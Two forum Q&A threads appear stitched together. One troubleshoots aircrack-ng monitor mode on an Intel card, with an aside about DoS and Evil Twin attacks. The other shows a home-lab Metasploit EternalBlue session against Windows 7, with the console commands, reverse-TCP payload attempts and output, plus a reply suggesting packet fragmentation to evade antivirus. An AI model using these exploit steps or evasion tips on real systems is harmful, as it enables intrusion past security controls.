ioctl(SIOCSIWMODE) failed: Device or resource busy

ARP linktype is set to 1 (Ethernet) - expected ARPHRD_IEEE80211,
ARPHRD_IEEE80211_FULL or ARPHRD_IEEE80211_PRISM instead.  Make
sure RFMON is enabled: run 'airmon-ng start wlo1 <#>'
Sysfs injection support was not found either.

So I run:

sudo airmon-ng start wlo1

and the ouput is:

Interface   Chipset     Driver

wlo1        Intel AC    iwlwifi - [phy0]
                (monitor mode enabled on mon0)

Now sudo airodump-ng wlo1 returns the same error.

When running:

sudo airodump-ng mon0

there is no network shown.

A few days ago I managed to run airodump fine on wlo1 and see the reachable networks. Back then netstat -i also showed an M flag on wlo1. Now it seems I have gone through the same steps as before but with no success. What am I doing wrong?

Some systems after install aircrack-ng suite have not only airmon-ng, they have airmon-zc. Check if is your case, it depends of the aircrack version. It's suppossed that airmon-zc (Zero Chaos) is more advanced.

Airmon-zc has the same behavior on cards that airmon-ng has in systems which only have airmon-ng, I mean it changes the mode of the card but not duplicate it. An example of what I say:

System on which airmon-zc doesn't exist:
After airmon-ng start wlan0 you'll get only one interface in monitor mode called mon0.
System on which there are both, airmon-ng and airmon-zc:
After airmon-ng start wlan0 you'll get two interfaces. First wlan0 in managed mode and other called mon0 which will be in monitor mode. If you execute airmon-zc start wlan0 you'll get only one interface in monitor mode called wlan0mon.

Test your systems and use airmon-zc instead if you have it available. To use intentionally airmon-ng on systems which have airmon-zc is useful to perform different tasks with only one card... for example you can create an AP with hostpad (managed required) and perform a DoS attack (monitor required)... this is used in some Evil Twin attack scripts.

Regarding the NetworkManager... Until version 1.0.12 NetworkManager is not able to change the mode without disrupting your network connection. If you have a lower version than 1.0.12 you'll need to launch not only the airmon check command... you can launch airmon check kill to kill directly the conflicting processes before the airmon start. But if you have NetworkManager 1.0.12 or higher, you don't need to kill any process, no airmon check kill needed. NetworkManager can manage the mode change without problems and you will not lose your internet connection with the change.

Hope this helps.


Norton blocks my Metasploit attacks, is there a way to bypass? im pretty new to pentesting and im just about learning using metasploit.

So i setted up my old pc at home ( Windows 7 Professional, x64 architecture ), connected it to my lan and started trying to penetrate it.

At first it was pretty exasperatingly... all the exploits i tried didnt worked. But thats an other topic.

So i went with "Eternalblue/Doublepulsar". This exploit isnt new at all, but it should work with a win7 x64 machine and an specific open port. So i initialized it like this :

msf > use windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name                Current Setting  Required  Description
----                ---------------  --------  -----------
GroomAllocations    12               yes       Initial number of times to
groom the kernel pool.
GroomDelta          5                yes       The amount to increase the
groom count by per try.
MaxExploitAttempts  3                yes       The number of times to retry
the exploit.
ProcessName         spoolsv.exe      yes       Process to inject payload
into.
RHOST                                yes       The target address
RPORT               445              yes       The target port (TCP)
SMBDomain           .                no        (Optional) The Windows domain
to use for authentication
SMBPass                              no        (Optional) The password for
the specified username
SMBUser                              no        (Optional) The username to
authenticate as
VerifyArch          true             yes       Check if remote architecture
matches exploit Target.
VerifyTarget        true             yes       Check if remote OS matches
exploit Target.

Exploit target:

Id  Name
--  ----
0   Windows 7 and Server 2008 R2 (x64) All Service Packs

msf exploit(windows/smb/ms17_010_eternalblue) > set target 0
target => 0
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.***.0.**
rhost => 192.168.0.17
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.***.0.***
rhost => 192.168.0.176
msf exploit(windows/smb/ms17_010_eternalblue) > set verifyarch false
verifyarch => false
msf exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.***.0.**:4444
[*] 192.168.0.176:445 - Connecting to target for exploitation.
[+] 192.168.0.176:445 - Connection established for exploitation.
[+] 192.168.0.176:445 - Target OS selected valid for OS indicated by SMB
reply
[*] 192.168.0.176:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.0.176:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f
66 65 73  Windows 7 Profes
[*] 192.168.0.176:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53
65 72 76  sional 7601 Serv
[*] 192.168.0.176:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31
ice Pack 1
[+] 192.168.0.176:445 - Target arch selected valid for arch indicated by
DCE/RPC reply
[*] 192.168.0.176:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.0.176:445 - Sending all but last fragment of exploit packet
[-] 192.168.0.176:445 - RubySMB::Error::CommunicationError: An error occured
reading from the Socket
[*] Exploit completed, but no session was created.

As you can see the exploit completed but no session was created... thats due to this little thing right here :

For all those who cant speak german, it basically says that it blocked the attack.

I already tried this type of attack with generic/reverse_tcp - windows/x64/meterpreter/reverse_tcp payloads and even a self generated payload which basically also tries to establish a reverse tcp connection ( Its encoded using x64/xor with 20 inumerations ).

None of those have worked... I dont really understand this at all, why cant i bypass the AV on my win8 machine ? Or what do i need to do to bypass it ?

Thanks a lot for your help !:)

Looking at the error message it seems that exploit itself was detected, not the payload. This is bad. So encoding your payload or second stage does not help here. I would suggest to fragment the ip packets with something like fragrouter.